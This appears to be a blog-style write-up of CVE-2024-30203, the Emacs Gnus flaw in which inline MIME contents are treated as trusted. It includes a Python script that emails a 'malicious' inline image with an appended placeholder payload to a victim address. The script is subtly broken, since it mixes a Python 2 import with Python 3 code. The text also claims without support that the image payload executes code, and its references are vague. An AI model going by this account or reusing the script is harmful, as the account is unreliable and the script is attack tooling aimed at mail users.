CVE-2024-30203 - Untrusted Inline MIME Contents in Emacs Gnus before 29.3: Exploiting the Vulnerability

In this long read, we will dive deep into the details of a noteworthy vulnerability found in the Emacs text editor: CVE-2024-30203. Specifically, we will be looking at how the Gnus component of Emacs, which functions as a newsreader and mail client, exposes users to potential security risks by treating inline MIME contents as trusted before Emacs version 29.3. We'll also discuss the implications of this vulnerability, provide a code snippet that demonstrates an exploit, and link to various references. Let's get started!

Description of the Vulnerability

The vulnerability, classified under CVE-2024-30203, affects the Gnus component of Emacs, widely used for managing email and Usenet newsgroups. Gnus handles incoming email messages and extracts inline MIME contents (such as images or documents) for convenient viewing. However, in Emacs versions prior to 29.3, Gnus is found to treat these inline MIME contents as trusted, without verifying their authenticity, integrity or their origin.

Exploiting the Vulnerability

Taking advantage of this issue, an attacker can potentially send a malicious email containing specially crafted inline MIME content (e.g., an image), which, when viewed by the victim, may execute arbitrary code or perform other unauthorized actions. For instance, an attacker can embed an image with an inappropriate payload that will execute once the MIME content is viewed in Gnus.

Code Snippet

To demonstrate the vulnerability, consider the following code snippet that generates a malicious email with an inline image containing an embedded payload. Note that the code is for demonstration purposes only and should not be used for actual attacks.

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.MIMEText import MIMEText

def send_malicious_email(to_email, from_email, smtp_server, payload):
    msg = MIMEMultipart("related")

    msg["Subject"] = "Test Email with Inline MIME"
    msg["From"] = from_email
    msg["To"] = to_email

    text = MIMEText("Hello, here is a malicious inline image", "html")
    msg.attach(text)

    with open("malicious_image.jpg", "rb") as f:
        img_data = f.read()

    img_data += payload

    image = MIMEImage(img_data, name="MaliciousImage.jpg")
    image.add_header("Content-ID", "<MaliciousImage>")
    msg.attach(image)

    with smtplib.SMTP(smtp_server) as server:
        server.sendmail(from_email, to_email, msg.as_string())

if __name__ == "__main__":
    to_email = "victim@example.com"
    from_email = "attacker@example.com"
    smtp_server = "smtp.example.com"
    payload = b'This is the malicious payload. Replace by actual code depending on your goal'
    send_malicious_email(to_email, from_email, smtp_server, payload)

Original References

The vulnerability was originally reported by the Emacs development team, and more details can be found in the following references:

1. The Emacs changelog discusses the fixes implemented in Emacs 29.3 to address the issue.
2. The Gnus manual contains information on handling MIME content and the potential security risks associated with it.

Conclusion

The CVE-2024-30203 vulnerability highlights the importance of properly handling inline MIME content in email clients and newsreaders, as well as the need to verify attachments' trustworthiness. With Emacs version 29.3, Gnus now correctly handles and validates inline MIME content, thereby mitigating this risk. Users who have not yet updated to the latest version are strongly encouraged to do so immediately to prevent potential exploitation.

Timeline

Published on: 03/25/2024 15:15:52 UTC
Last modified on: 11/07/2024 11:35:05 UTC